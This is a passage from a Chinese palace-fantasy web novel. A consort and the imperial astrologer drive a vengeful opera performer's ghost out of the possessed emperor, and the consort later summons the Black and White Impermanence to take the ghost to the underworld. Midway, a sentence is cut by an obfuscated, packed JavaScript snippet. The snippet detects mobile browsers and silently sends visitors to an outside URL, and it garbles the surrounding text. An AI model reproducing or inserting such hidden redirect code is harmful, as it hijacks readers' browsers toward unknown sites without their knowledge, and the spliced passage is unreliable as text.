清冷的嗓音,唱出的却是《长生殿》“冥追”一折中杨贵妃魂断马嵬后,芳魂飘荡寻觅唐明皇的悲戚。词句凄婉,曲调哀怨,本该令人断肠。然而,从温招口中唱出,却少了几分缠绵,多了几分冰雪般的寒意,如同月光下的霜刃,割裂着殿内粘稠的邪气。 常青脸上的亢奋凝固了。他直挺挺地坐着,空洞的眼珠随着温招的声音微微转动,那扭曲的笑容还僵在脸上,涎水却止住了流淌。他整个人像一尊被暂时定住的、涂了劣质油彩的木偶。 “……我步虚风,御气烟,……只少个许飞琼,轻拍云肩……”温招继续唱着,目光看似落在虚空,实则警惕地留意着常青和戏台阴影的每一丝变化。她能感觉到,那浓重的邪气在歌声中产生了微妙的波动,仿佛被无形的丝线牵扯着,暂时被这清冷哀怨的调子迷惑。 然而,戏台深处的阴影蠕动得更厉害了。黑暗如同粘稠的墨汁,缓缓从后台流淌出来,沿着戏台的边缘向下蔓延。那腐朽的甜腥味里,渐渐混入了一丝……泥土的湿冷腥气,像是刚从潮湿的坟茔里掘出。 “[五般宜]……”温招的声音依旧平稳,但指尖在袖中悄然收紧。她能感觉到阴影中传来的恶意越来越浓,带着一种被戏耍后的狂怒。那东西,快按捺不住了。 就在这时! “啊!!!” 一声凄厉到不似人声的尖叫,猛地从戏台后方炸响!不是伶人,那声音尖锐、怨毒,穿透耳膜,直刺神魂,伴随着尖叫,戏台深处那片浓得化不开的黑暗骤然沸腾!无数道扭曲、漆黑的手臂从中暴射而出,带着刺骨的阴寒和浓烈的尸腐腥臭,如同狂舞的毒蛇,并非扑向温招,而是直直卷向僵坐在檀木椅上的常青。 温招瞳孔骤缩,常青体内那东西似乎也感应到了致命的威胁,他喉咙里发出一声野兽般的低吼,僵硬的身体猛地弹起,脸上瞬间布满狰狞的青黑色纹路,空洞的眼珠爆发出骇人的红光,竟是要与那袭来的阴影手臂硬碰。 戏台后的那东西似乎在保护着温招,那手臂上的黑色粘液在温招与常青之间划出一道结界。温招没想到会有这么一个东西,直接压制了常青体内的邪物,一时间不知如何是好。 在千钧一发之时,嗡!!! 一声清越悠长的玉磬之音,毫无征兆地穿透了梨园粘稠的阴冷死寂,如同九天垂落的一道净水,瞬间涤荡开令人窒息的邪氛。 一道颀长身影,裹挟着殿外午时残留的炽烈阳气与某种清冷沉静的力量,如流光般出现在温招身侧,来人正是阮时逢。 他手中并无法器,只并指如剑,指尖一点凝练至极的金芒吞吐不定,对着那狂舞卷来的阴影手臂虚空一点! “敕!” 言出法随,那点金芒骤然炸裂,化作无数细碎如星屑的金色符文,迅疾如电,精准地撞上最前方的几条阴影手臂。 “嗤啦!!!”如同滚油泼雪,被符文沾染的阴影手臂瞬间发出刺耳的腐蚀声,浓稠的黑液滋滋作响,腾起腥臭刺鼻的黑烟,扭曲着、哀嚎着向后缩去,缩回了戏台深处。 眼下还是常青体内的邪祟最为重要,两人对视片刻,一同来到常青身侧。 此时的常青,已非人君模样。他喉咙里滚动着野兽般的低吼,脸上青黑纹路如活物般蠕动、凸起,眼珠中的红光几乎要滴出血来,死死盯着戏台深处那片被阮时逢暂时压制的阴影,充满了原始的、暴戾的敌意。 然而,当温招与阮时逢靠近,那红光猛地转向他们,带着被侵犯领域的狂怒 “吼!!!!”常青发出一声不似人声的咆哮,僵硬的身体爆发出惊人的速度,五指成爪,裹挟着浓烈的阴寒尸气,撕裂空气,直抓温招面门。那指甲不知何时已变得乌黑尖长,如同淬了剧毒的匕首。 温招眼神一凛,不退反进。 她足尖一点地面,身形如风中弱柳般向后飘退半步,险之又险地避开那夺命一爪。 同时,她素手在袖中疾翻,指尖不知何时已夹住三张土火纸,她从指尖挤出一滴清血,快速画符,凝成三章冰符。 “咄!”她清叱一声,三枚冰符脱手飞出,并非攻击常青本体,而是呈品字形,精准无比地钉入他身周地面。 符落刹那,一股极寒之气轰然爆发,瞬间在地面凝结出一圈晶莹剔透、符文隐现的玄冰阵圈,将常青困锁其中。 “滋滋滋……”常青的脚刚触及冰圈边缘,鞋底竟冒出刺鼻黑烟,仿佛踏上了烧红的烙铁。他发出一声痛楚的嘶鸣,动作被强行阻住,只能在冰圈内疯狂冲撞。 每一次撞击,冰圈都发出不堪重负的“咔嚓”脆响,幽蓝光芒剧烈闪烁,寒气与尸气激烈交锋,形成一圈圈肉眼可见的惨白气浪。 “锁住它!它的本体要显形了!”阮时逢沉声喝道,他并未理会冰圈内挣扎的邪物,而是双手在胸前飞快结印,指尖流淌出赤金色的光芒,迅速在虚空中勾勒出一个繁复玄奥的镇魂符箓雏形。 符箓散发出至阳至刚的煌煌威压,如同一个小型的太阳在梨园阴冷的殿宇中酝酿,驱散了部分令人窒息的邪氛,却也刺激得冰圈内的“常青”更加狂暴。 就在这时—— “呃啊……嗬嗬……” 冰圈内,常青的动作突然停滞了一瞬。他脸上疯狂蠕动的青黑纹路骤然向内收缩,仿佛被一股无形的力量强行挤压回体内。他凸起的眼球剧烈转动,红光时明时灭,喉咙里发出意义不明的、仿佛溺水般的嗬嗬声。紧接着,令人头皮发麻的一幕出现了! 常青的身体开始剧烈地抽搐、抖动,仿佛有什么东西正在他薄薄的皮囊下奋力挣扎,要破体而出!他的皮肤下鼓起一个又一个拳头大小的包块,如同有活物在疯狂游走!他的五官痛苦地扭曲、移位,嘴角裂开一个非人的弧度。 “嘶啦!” 一声令人牙酸的、仿佛裂帛又似皮肉被强行撕裂的声音响起! 只见常青胸口处的衣襟猛地向外一鼓,随即被一股黑红交缠的秽气撕裂开来。 那裂口处,并非血肉内脏,而是翻滚着浓郁如墨汁的阴邪之气。 在那翻腾的黑气中央,一个“东西”正艰难地、一点点地从常青的胸腔里向外”出。 那是一个……伶人! 一个身着褪色残破、却依稀能辨出昔日华丽纹样的戏服伶人。 水袖污浊不堪,沾染着黏腻的黑红之物。它的脸模糊不清,被一层流动的、怨毒的阴气笼罩,只能隐约看到涂抹着夸张、却早已糊成一团的血红胭脂,和一双空洞得只剩下两点猩红鬼火的眼睛。 它的身形扭曲而虚幻,下半身还深深嵌在常青的胸口,上半身却已探出,带着无尽的怨毒与冰冷,死死“盯”着近在咫尺的温招和正在结印的阮时逢。 这附身的邪祟本体,竟是一个戏子的怨魂,难怪它对梨园、对《长生殿》如此执着。 它发出一声无声却直刺神魂的尖啸,那尖啸中蕴含着被强行逼出、暴露于阳气之下的痛苦与滔天恨意。 它猛地扬起那双污浊的水袖,袖口如同两张择人而噬的巨口,卷起两股腥臭刺骨的黑色阴风,一股狠狠抽向维持冰阵的温招,另一股则带着同归于尽的疯狂,直扑正在凝聚镇魂符的阮时逢。 在这千钧一发之际…… “咻!” 一道极细、极锐利的破空声,毫无征兆地从大殿门边那片最浓重的阴影里射出!快得超越了视线捕捉的极限! 那并非符箓,亦非法力凝聚的光束,而是一点凝练到极致的深紫色寒芒。 它精准无比地穿透了冰阵外围剧烈波动的寒气与尸气形成的惨白气浪,无视了那怨魂抽向温招的恐怖阴风,甚至无视了空间的距离,仿佛阴影本身延伸出的一道致命毒刺。 目标,直指那半截身子嵌在常青胸口、正疯狂催动阴风的戏子怨魂本体。 “噗嗤!” 一声极其轻微、却又清晰得令人毛骨悚然的闷响。 那点深紫色寒芒,竟是一柄不过三寸长、通体呈现诡异深紫、刃身流淌着暗哑光泽的细窄匕首。它如同毒蛇的獠牙,精准无比地钉入了怨魂那模糊不清、被流动阴气笼罩的脸部正中,恰好是它那双猩红鬼火般眼睛的中央位置。 时间,仿佛在这一刻被强行按下了暂停键。 怨魂那无声的尖啸戛然而止。即将抽到温招的水袖僵在半空,卷向阮时逢的阴风如同被冻结般停滞。它那双燃烧着滔天恨意的猩红鬼火之眼,难以置信地“盯”着匕首射来的方向,那片万公公一直融于其中的、帷幕的阴影褶皱。 匕首刺入的瞬间,没有黑气溃散,也没有惊天动地的爆炸。只有极其短暂的、令人窒息的死寂。 紧接着。 “滋啦!!!”那恶魂彻底从常青体内抽离出来,坠在了地上。温招与阮时逢回眸,望向万公公那冷着的脸。 温招从袖中又拿出一张土火纸,在上面写了另一个咒术,随后将那恶魂吸了进去。 “扑通!” 常青失去支撑的身体,如同被抽空了所有骨头,软软地向前栽倒。 温招反应极快,在常青身体触地前的一瞬,已如鬼魅般掠至,素手一抄,稳稳托住了那具失去意识、冰凉沉重的帝王之躯。 她迅速探指在他颈侧一按,确认心脉尚存,只是神魂受创,阳气大损,面如金纸,气若游丝。她也不想管常青,只是如今有着这良妃的身份,众人还看着…… 温招抱着昏迷不醒的常青,目光沉静如水,直视着阴影中那道深紫色的身影。她清冷的声音在死寂的大殿中响起,不高,却清晰地穿透了残留的阴冷气息,带着一种不容置疑的郑重: “万公公。” 万公公终于抬起了眼睑。那双浑浊的老眼,此刻却锐利如鹰隼,没有丝毫平日的卑微,只有深不见底的、冰冷的审视。他看向温招,又扫了一眼她怀中气息奄奄的帝王,最后落在阮时逢身上,眼神晦暗不明。 温招抱着常青的手臂微微收紧,她能感觉到怀中躯体的冰凉和微弱的心跳。她迎着万公公那冰冷审视的目光,一字一句,清晰地说道: “今日梨园之事,陛下乃是急火攻心,突感不适,以致昏厥。”她顿了顿,目光扫过一片狼藉、阴气尚未散尽的大殿,以及戏台深处那片令人不安的阴影,“邪祟惊扰圣驾,已被国师以雷霆手段诛灭。然……” 温招几句话就把自己从这中间摘得干干净净,好似她没参与一般,万公公也是聪明人,自然知晓温招不愿意透露此事。 “龙体受惊,神魂不稳,此事若传扬出去,恐引朝野动荡,小人窥伺,更添陛下忧思,于龙体康健百害而无一利。公公深得陛下信重,侍奉陛下多年,当知陛下此刻最需静养,最忌惊扰。” 万公公枯瘦的手指在深紫色的袖笼里,似乎无意识地摩挲了一下。他那双浑浊却锐利的眼睛,深深地看了温招一眼,那目光仿佛要穿透她清冷平静的表象,直抵她灵魂深处真正的意图。他又瞥了一眼阮时逢。 阮时逢又变回了那吊儿郎当的模样,此刻的双手抱臂,望着天发呆。 “恳请公公,为陛下龙体计,为社稷安稳计,今日梨园所见种种异象,所闻种种诡声……皆止于此门之内,烂于我等腹中。对外,只言陛下听戏时略感风寒,急火攻心,幸得国师及时救治,并无大碍。一切妖异邪祟之说,皆为无稽之谈,切莫扰了圣听,乱了宫闱。” 听到这,阮时逢装作严肃的点了点头,随后又嬉皮笑脸的冲温招颔首。 良久。 万公公那如同石刻般僵硬的脸皮,似乎极其细微地牵动了一下。他重新垂下了眼睑,恢复了那副低眉顺眼、恭谨卑微的模样,仿佛刚才那个射出致命匕首、眼神锐利如鹰的人从未存在过。 他用那特有的、带着一丝阴柔沙哑的嗓音,平静无波地应道: “娘娘思虑周全,老奴……省得了。” 他躬下身,如同最忠诚的影子,对着温招怀中的帝王行了一礼。 “陛下龙体要紧,老奴这就去传唤太医,并吩咐下去,今日梨园清场,任何人不得靠近惊扰圣驾静养。” 说完,他不再看温招和阮时逢,那深紫色的身影无声无息地退后,再次融入了门边那片浓重的阴影里,仿佛他本就是那阴影的一部分,从未真正离开过。 温招看万公公走后。 “咚!” 一声闷响,干脆利落,毫无怜香惜玉之心。前一秒还被稳稳托在臂弯里的九五之尊,此刻如同一个塞满了稻草的破麻袋,被温招毫不客气地、甚至带着点嫌弃的力道,直接“卸”在了旁边一张铺着软垫的椅子上。动作之快,力道之精准,让那昏迷的帝王连晃都没晃一下,只是脑袋软软地歪向一边,更显面色如金纸,气若游丝。 做完这一切,温招看也没看椅子上那位尊贵的“破麻袋”,仿佛卸下了千斤重担。她缓缓直起身,目光落在自己方才托着常青后腰和手臂的纤纤玉手上。那眼神,冷冽中透着一股难以言喻的……膈应。仿佛那不是一双刚刚扶过帝王尊躯的手,而是不小心沾了什么腌臜污秽之物。 她微微蹙起秀气的眉头,视线在殿内逡巡,似乎在寻找净手之物。可惜,梨园戏殿,除了灰尘、碎木、残余的阴气和昏迷的皇帝,哪来的清水盆盂? 就在这时,她的目光,精准地、带着一丝不容置疑的意味,落在了旁边正抱着胳膊、仰头研究殿顶藻井花纹、仿佛刚才那场惊心动魄的驱邪大战跟他毫无关系的阮时逢身上。 确切地说,是落在了阮时逢那身纤尘不染、质地精良、此刻在昏暗光线下依旧流淌着淡淡月华光泽的……宽大袖袍上。 阮时逢似有所感,研究藻井的目光一顿,慢悠悠地、带着点疑惑地垂下眼帘, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15991373|176822||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 正好对上温招那双清冷冷的、写满了“借你一用”的眼睛。 “嗯?”阮时逢下意识地发出一个单音节,吊儿郎当的表情还没来得及转换。 说时迟那时快! 温招身形如电,一步跨至阮时逢面前。在阮时逢那点茫然迅速转化为“大事不妙”的惊愕眼神中,她以迅雷不及掩耳之势,一把攥住了他垂在身侧的那只宽大袖口。 “不是!你想干……”阮时逢后半句抗议还卡在喉咙里。 温招已经面无表情地、极其认真地、用他那雪白无瑕的袖口布料,仔仔细细、反反复复地……擦起了自己的手! 先是手心,再是手背,连指缝都没放过!力道之大,动作之专注,仿佛那不是国师价值不菲的法衣,而是一块刚出炉的、吸水性极佳的……抹布! 阮时逢:“!!!” 他眼睁睁看着自己心爱的、能辟尘除秽、加持法力的月华锦袖口,在那双玉手的“蹂躏”下迅速变得皱巴巴,甚至还隐约沾染上了一丝……来自昏迷帝王身上若有似无的、混合着龙涎香和淡淡腐朽甜腥的诡异气息。 “温!招!”阮时逢终于找回了自己的声音,音调拔高了八度,带着难以置信的痛心疾首,“这是我的新袍子!上月才从南海鲛人集市上淘来的!水火不侵、纤尘不染的月华锦!不是你的擦手布!!” 温招终于擦完了最后一下,仿佛完成了一项艰巨的任务,长长地、无声地舒了一口气。她松开手,还顺手把那被蹂躏得不成样子的袖口往阮时逢怀里嫌弃地一推,仿佛丢开什么脏东西。 她抬眼,对上阮时逢那张写满了控诉和“你赔我袍子”的俊脸,眼神依旧清冷平静,语气更是理所当然,甚至还带着点理直气壮的嫌弃: “哦。”她淡淡应了一声,仿佛只是回答“知道了”这种无关紧要的小事,“擦干净了。” 随即,她的目光再次扫过椅子上人事不省的常青,眉头又蹙了起来,补充道,语气里是毫不掩饰的疏离:“他身上的味儿……太难闻了。沾久了,晦气。” 阮时逢:“……” 他低头看看自己那惨遭毒手、皱成一团还疑似沾染了“龙气+阴祟混合晦气”的袖口,又抬头看看一脸“我擦手天经地义”的温招,再看看椅子上那位被评价为“晦气”的九五之尊…… 阮时逢嘴角抽搐了几下,最终,那张俊美无俦的脸上,缓缓绽开一个极其灿烂、却怎么看怎么透着咬牙切齿和认命意味的笑容。他伸出两根手指,无比嫌弃地用指尖拈起自己那被蹂躏过的袖口布料,抖了抖,试图恢复它的“清白”,可惜效果甚微。 “行,行,你清高,你了不起。”阮时逢皮笑肉不笑,声音从牙缝里挤出来,“用本座的法衣擦手,擦的还是‘龙体’的晦气……娘娘,这活儿得加钱!” 阮时逢那声“得加钱!”的控诉还在阴冷的梨园大殿里嗡嗡回响,带着点破罐子破摔的悲愤。 温招闻言,眼皮都懒得抬一下,仿佛他嚷嚷的是“今天天气不错”。她慢条斯理地抚平自己微皱的衣袖,指尖优雅地掠过衣料上繁复的暗纹,那动作闲适得像是在赏玩一件稀世珍宝,与方才用他袖口擦手的“土匪”行径判若两人。 “加钱?”她终于抬眸,视线清清冷冷地扫过来,落在阮时逢那张写满了“你无情你冷酷你无理取闹”的俊脸上,唇角似乎极淡地勾了一下,那弧度转瞬即逝,快得让人以为是错觉。“国师大人方才,唤本宫什么来着?” 阮时逢:“!!!!!” 他满腔控诉的火焰像是被兜头泼了一盆九幽寒泉,瞬间只剩下几缕不甘心的青烟,憋在嗓子眼里,不上不下,噎得他喉结滚动了一下。 坏了!他刚才情急之下,好像、大概、确实……直呼了这位娘娘的闺名! “温招”两个字,平时在司天监他私下里腹诽嘀咕也就罢了。可此刻,是在这刚经历了一场邪祟大战的梨园大殿,地上还躺着个昏迷不醒的九五之尊,角落里说不定还有万公公留下的“耳朵”……这“直呼名讳”的罪名,说大不大,说小……它可太能操作了! 阮时逢那张俊美无俦的脸,表情瞬间精彩纷呈。先是僵住,随即那点咬牙切齿的控诉迅速褪去,换上一种混合着惊愕、懊悔和“我怎么这么倒霉”的茫然。他微微张着嘴,想辩解两句“事急从权”、“情非得已”,可对上温招那双平静无波、却仿佛洞悉一切、写着“你完了”的清冷眸子,所有的话都卡在了喉咙里。 他下意识地低头,目光再次落到自己那惨遭蹂躏的袖口上,那价值千金的月华锦,此刻皱得如同被揉成一团又展开的废纸,更惨的是,上面还清晰地残留着几道可疑的、带着汗渍和淡淡污痕的指印。 那混合着“龙体晦气”的诡异气息,似乎正顽强地从皱褶里散发出来,无声地控诉着他的悲惨遭遇。 一股巨大的憋屈感,如同涨潮的海水,瞬间淹没了阮国师的心房。他堂堂司天监国师,执掌玄门,威仪赫赫,走到哪里不是被奉若神明?平日里那些王公大臣,哪个见了他不是战战兢兢、礼敬有加?可偏偏…… 偏偏在这位良妃娘娘面前! 他就像个被捏住了七寸的小蛇,被吃得死死的! 他为了救她,火急火燎从司天监赶过来,连口茶都没喝上,上来就拼着损耗元气画了个镇魂符。结果呢?好处没捞着半点,心爱的新袍子先遭了殃,被当成擦手布,还是擦的“晦气”! 这还不算完,他不过是想讨点“精神损失费”和“袍子折旧费”,话刚出口,就被对方轻飘飘一句“直呼名讳”给堵了回来,扣上顶大不敬的帽子。 阮时逢越想越委屈,越想越心塞。他垂着眼,长长的睫毛在眼下投下一小片阴影,遮住了那双桃花眼里翻涌的复杂情绪,三分是心疼他的袍子,七分是觉得自己简直比窦娥还冤。他抿着唇,嘴角微微向下撇着,那弧度透着十足十的委屈和敢怒不敢言。 他下意识地用手指,小心翼翼地、带着无限怜惜地,试图去抚平袖口上那几道顽固的褶皱。可那月华锦矜贵得很,一旦被暴力揉搓,哪里是那么容易恢复原状的?他越是抚弄,那皱痕反而显得更加清晰,像是在无声地嘲笑他的徒劳。 阮时逢的手指顿住了。 他默默收回手,指尖无意识地捻了捻,仿佛还能感受到布料被粗暴对待后留下的粗糙触感。他低着头,肩膀似乎都微微塌下去了一点点,整个人笼罩在一种“受尽委屈的小媳妇”的低气压里。那身原本流光溢彩、仙气飘飘的法袍,此刻因为主人蔫头耷脑的气势,也显得黯淡了几分。 “……”他喉结又滚动了一下,最终,从紧抿的唇缝里,泄出一丝几不可闻的、带着浓浓鼻音的轻哼,像极了被主人欺负狠了又无处说理的小猫发出的呜咽。那声音极轻,却清晰地表达了他此刻所有的不甘、憋闷和……认栽。 算了算了,好男不跟女斗(主要是斗不过)!惹不起,他还躲不起吗? 他悄悄抬起眼皮,飞快地、幽怨地瞥了温招一眼,那眼神湿漉漉的,带着点控诉,又带着点“我记住你了”的记仇意味。随即又飞快垂下,仿佛生怕多看一秒,自己那点仅存的“国师威严”就要彻底碎成渣渣。 他默默地将那只被“玷污”的袖子往身后藏了藏,虽然这动作在此刻此地显得格外欲盖弥彰和……可怜兮兮。 殿内阴风似乎彻底散尽了,只剩下一种诡异的寂静。昏迷的皇帝歪在椅子上,温招气定神闲地站着,而那位本该光芒万丈的国师大人,则像个犯了错被罚站、还弄脏了新衣服的孩子,蔫巴巴地杵在那儿,浑身散发着“我很委屈但我不说”的怨念气场,憋屈得快要冒烟。 温招看着他这副模样,眼底深处极快地掠过一丝难以察觉的、近乎愉悦的光芒,快得如同错觉。她终于大发慈悲地开口,清冷的声音打破了沉寂,带着点施舍般的意味: “阮大人子时应当无事吧?” 阮时逢还沉浸在自己袍子被玷污、人还被拿捏住把柄的巨大悲愤中,闻言,蔫头耷脑地抬了下眼皮,没什么好气地嘟囔:“哼,怎么?娘娘还要留我在此‘守夜’,看顾这位……‘晦气’的龙体不成?”他刻意加重了“晦气”两个字,眼神哀怨地瞟了一眼自己皱巴巴的袖口。 温招对他的控诉置若罔闻,仿佛只是在陈述一件寻常小事,语气平淡地抛出后半句: “本宫恰好得了几坛‘青砚谣’。” “……” 空气仿佛凝滞了一瞬。 前一秒还蔫得像霜打茄子的阮时逢,猛地抬起头!那双桃花眼里的委屈、控诉、憋闷瞬间烟消云散,如同被狂风席卷的阴云,取而代之的是骤然亮起的、几乎要灼伤人眼的璀璨光芒! “青砚谣?!”他几乎是失声喊了出来,声音都劈了个叉,带着难以置信的狂喜,哪里还有半分国师该有的稳重矜持。他眉飞色舞,嘴角咧开一个灿烂到近乎傻气的笑容,连刚才被蹂躏的袖子都忘了藏。 他整个人像是被瞬间注入了无穷的活力,一个箭步就窜到了温招面前,速度快得带起一阵微风,差点把旁边昏迷的常青衣角掀起来。他凑得极近,那双亮晶晶的眼睛几乎要黏在温招脸上。 “好耶!!”阮时逢兴奋地叫了一声,完全忘了自己刚才还在为袍子和“大不敬”痛心疾首,也忘了眼前这位娘娘刚刚是如何“冷酷无情”地利用完他就丢。喜悦冲昏了他的头脑,他像只终于得到主人投喂顶级罐头的猫,围着温招转了小半圈,就差摇尾巴了。 “嗯。”她依旧只淡淡应了一声,算是确认。目光扫过他兴奋得快要原地起跳的样子,又补充了一句,语气带着点不易察觉的嫌弃,“把你那袖子收好,离本宫远点。” 眼前人只因为两坛酒便如此高兴,温招望着他的眼,顿了片刻。世间……真有如此纯粹的人吗……至少上一世她温招一个都没遇到过。 16.016 在梨园这次经历之后,温招意识到,光有土火纸是不够了,在李婆的记忆中,一部分的万诡门藏书在李婆原住的一个村子里,而另一部分藏书在前国师死后,便被封入了司天监的禁书区内,在她离开这金丝牢笼之前,自家的东西,她是一定要一并带走的。 亥时一刻,温招独坐于临窗的软榻前,指尖捻着一张薄如蝉翼、却蕴藏着不祥力量的土火纸。纸面上,那伶人怨魂留下的墨色印记如同活物般微微蠕动,散发着一股冰冷的、令人不适的粘稠阴气。 “总不能一直揣着个腌臜物……”温招清冷的眉宇间掠过一丝几不可察的嫌恶。袖中揣着这东西,仿佛随身带着一块千年寒冰,阴气丝丝缕缕,无孔不入地渗入肌理,扰人清净。 通阴之法……温招指尖无意识地在土火纸边缘划过。此法凶险,唤来的“地府来客”脾性难测,不一定是何人,万一是哪个半吊子鬼差可就不好了。此法全凭召唤者对此发的熟练程度与血脉压制。 一个不慎,引火烧身,被反噬拖入九幽也不是不可能。但温招眼底,并无半分犹豫,只有一片深潭般的沉静,以及一丝近乎挑战的兴味。 她起身,走到早已备好的静室中央。地上用特制的朱砂混合了自身指尖血,绘制了一个繁复而古老的符阵,线条扭曲诡谲,散发着淡淡的铁锈与檀香混合的气息。阵眼处,静静躺着那张封印着伶人怨魂的土火纸。 温招立于阵前,闭上双眼。识海中,李婆记忆中关于《诡域典》通阴篇的残破符文与晦涩咒言,如同被无形的笔重新勾勒,逐一闪现、连接、最终拼凑完整。一股源自血脉深处的、古老而幽冷的力量,在她四肢百骸中悄然苏醒、奔流。 她双手在胸前结出一个个玄奥复杂的手印,指尖残影翻飞,快得几乎连成一片幽光。清冷的嗓音在静室中响起,不高,却带着一种奇异的穿透力,仿佛能直接叩响幽冥的门扉: “天清地宁,阴阳自分。九幽洞开,鬼吏听真!” “承吾血脉,掌诡通冥。以魂为引,敕令通行!” “黄泉引渡者,速现真形!” 最后一个音节落下的瞬间,异变陡生。 那血绘的符箓猛地燃起,并非寻常火焰,而是一种冰冷刺骨的、跳跃着幽蓝与惨白光芒的冥火。火焰无声地舔舐着符纸,却没有灰烬落下,反而化作一股翻涌不息的阴风漩涡,凭空出现在房间中央。 漩涡急速旋转,发出低沉呜咽般的风声。殿内所有烛火齐齐熄灭,彻底陷入伸手不见五指的黑暗,只有那幽蓝冥火映照着温招冷玉般的脸庞。 来了…… 温招凝神戒备,指尖已有寒芒吞吐。 就在此时,两道身影,如同撕裂了黑暗本身,毫无征兆地从那翻腾的阴风漩涡中一步踏出。 阴风骤歇,漩涡无声消散。殿内依旧漆黑一片,但一股远比伶人怨魂带着铁律般冰冷秩序的气息,瞬间弥漫开来,将残余的怨气涤荡一空。 温招的瞳孔,在绝对的黑暗中,几不可察地……微微睁大了一瞬。 站在她面前的,并非想象中青面獠牙、锁链缠身的可怖鬼差。 左边一位,身量极高,挺拔如寒夜里的孤松。他身着玄黑如墨的劲装,衣料上隐约有暗金色的繁复符文流转,似活物般明灭不定。腰间缠着一条仿佛由万年玄冰打造的漆黑锁链,链环相扣,散发着冻结灵魂的寒意。 他面容冷峻,五官深邃如同刀削斧凿,薄唇紧抿,不见一丝波澜。剑眉斜飞入鬓,目光扫过之处,空气都仿佛要被冻结。他周身萦绕着化不开的、拒人于千里之外的死寂与威严,正是黑无常。 范无咎。 右边那位,则是一身胜雪的白袍,宽袍大袖,飘逸出尘。袍服上以银线绣着流动的云纹,行走间光华隐现,如同月下流淌的清辉。他面容俊美得近乎邪异,肤色是常年不见阳光的冷白,一双含笑的桃花眼微微上挑,眸色竟是奇异的银灰,流转间带着几分漫不经心的慵懒与洞察世情的玩味。 薄唇噙着一抹若有似无的笑意,仿佛万事万物在他眼中不过是一场有趣的戏码。他手中把玩着一柄白玉骨扇,扇坠是一枚小巧精致的银色铃铛,随着他细微的动作发出几不可闻的、清越空灵的脆响,驱散着周遭的阴霾。这便是白无常。 谢必安。 两人一黑一白,一静一动,一冷一魅,如同阴阳两极,完美地诠释着幽冥引渡者的神韵。他们周身散发的气息强大而内敛,带着地府法则特有的森严,却无损于那份远超凡俗的英俊。 温招自认心性坚定,见惯风浪,此刻也不禁有刹那的恍惚。这……便是《诡域典》所言的“通阴”?寻常修士耗尽心血,能唤来两个拘魂小鬼已是万幸。她这随手一试,竟直接把黑白无常这两位地府赫赫有名的勾魂大将给“拘”来了? 然而,比温招更懵的,似乎是对面这两位。 还是谢必安率先反应过来。“呵……”一声极轻的笑打破了死寂。他那双银灰色的桃花眼饶有兴致地打量着温招,玉骨折扇在掌心轻轻一敲,“有趣。阳世深宫,竟有人以血为引,直通九幽,还指名道姓地……把我们哥俩给‘拘’来了?”他尾音微微上扬,带着点戏谑,“这位……娘娘?您这胆子,可比您这深宫大院看着敞亮多了。” 他目光扫过温招的宫装,又落在她清冷绝艳的脸上,笑意更深了几分。 黑无常范无咎没有说话,只是那双纯黑的、无底深渊般的眸子,冷冷地锁定了温招袖中那散发着怨气的土火纸。他周身那股冻结一切的寒意更甚,无形的威压让袖中的怨魂符箓都开始剧烈颤抖,发出细微的哀鸣。 温招迅速压下心底那一丝波澜,面上恢复了一贯的冰霜之色。她迎着黑白无常审视的目光,不卑不亢,声音清冽如故:“二位尊使见谅。实乃事出紧急,不得已行此下策。”她手腕一翻,那枚封印着伶人怨魂的土火纸符便悬浮于掌心之上,幽光闪烁,怨气丝丝缕缕地溢出。 “此怨魂生前为梨园伶人,因故横死,执念深重,附身帝王,搅乱宫闱。本宫已将其制住,然其怨气不散,滞留阳世恐生祸端。烦请二位尊使,引其归入九幽,按律处置。”她言简意赅,点明要害。 谢必安挑了挑眉,玉骨折扇“唰”地展开,掩住半边俊脸,只露出一双含笑的银灰眼眸, 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黑烟最终被压缩成一团,落入范无咎掌心,被他反手一握,彻底消失无踪,只余下掌心一缕黑气缠绕,随即隐没于他玄黑的衣袖之中。整个过程干脆利落,无声无息,带着一种冰冷到极致的效率。 “怨魂已拘。”范无咎终于开口,声音低沉冷冽,如同寒冰碰撞,毫无情绪波动。他的目光重新落在温招身上,那双纯黑的眸子深不见底,“引渡之责已了。” 谢必安“啪”地合上折扇,笑吟吟地接口:“职责所在,娘娘不必言谢。不过嘛……”他话锋一转,银灰色的眼眸中闪过一丝促狭的精光,目光在温招身上意味深长地转了一圈,“能把我们哥俩这么‘请’上来的,您可是头一份儿。您这……可真是……”他故意拖长了调子,留下无尽遐想。 温招心中微凛,面上却不动声色:“机缘巧合,不敢居功。烦劳二位尊使走这一趟。”她微微颔首,姿态疏离而客气,送客之意不言而喻。 谢必安轻笑一声,也不再多言。他手中白玉骨扇随意一挥,一道柔和却不容抗拒的银辉洒落。 范无咎则直接转身,玄黑的身影仿佛要融入身后的黑暗。 阴风再起,却不再刺骨,反而带着一种秩序井然的流转感。 黑白两道身影在银辉与黑暗的交织中,身影迅速变得模糊,最终与那通往幽冥的阴风漩涡一同,无声无息地消散在寝殿的黑暗里,仿佛从未出现过。 殿内重归死寂。 温招站在原地,袖中的手缓缓松开。她低头看了看掌心,那枚承载过怨魂的土火纸符箓已经化作一小撮灰烬,从指缝簌簌落下。 她抬眸,望向黑白无常消失的虚空,清冷的眼底,第一次清晰地映出了几分凝重和深思。 谢必安那未尽的话语,如同投入深潭的石子,在她心中激起了不小的涟漪。 她是第一次通阴,定然是不熟练的……那便是血脉……可,她自幼在温府长大……哪有血脉一说? 罢了,晚些阮时逢该来了,温招吩咐魑惊拿来了两坛青砚谣,自从归来,温招便酿了几坛。这酒的制作方法只有万诡门之人知晓,市面上千金难求,此时应当已经没有人会酿了。说起来,还是一段令人羡艳的故事…… 17.017 梨园一事,尚且有太多未解之谜,那伶人为何偏偏叫温招去了梨园?戏台下的那些鬼手究竟是何物,又为何要保护温招?还有她温招的血脉……一切的一切,究竟是怎样一回事,这些疑问盘踞在温招的脑海之中,久久不能忘却。 子时三刻, “哐当!” 